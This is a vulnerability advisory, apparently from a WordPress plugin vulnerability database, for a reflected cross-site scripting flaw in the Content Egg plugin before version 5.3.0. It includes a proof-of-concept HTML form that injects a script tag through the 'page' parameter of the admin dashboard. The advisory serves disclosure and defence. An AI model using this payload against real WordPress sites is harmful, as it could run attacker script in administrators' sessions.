WordPress Plugin Vulnerabilities
Content Egg < 5.3.0 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the page parameter before outputting back in an attribute in the Autoblogging admin dashboard, leading to a Reflected Cross-Site Scripting
Proof of Concept
<html>
<form action="https://example.com/wp-admin/admin.php?page=content-egg-autoblog" method="POST">
<input type="text" name="page" value='"><script>alert(/XSS/);</script>'>
<input type="submit" value="Send">
</form>
</html>
Affects Plugins
Fixed in 5.3.0 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-06 (about 2 years ago)
Added
2022-04-06 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)
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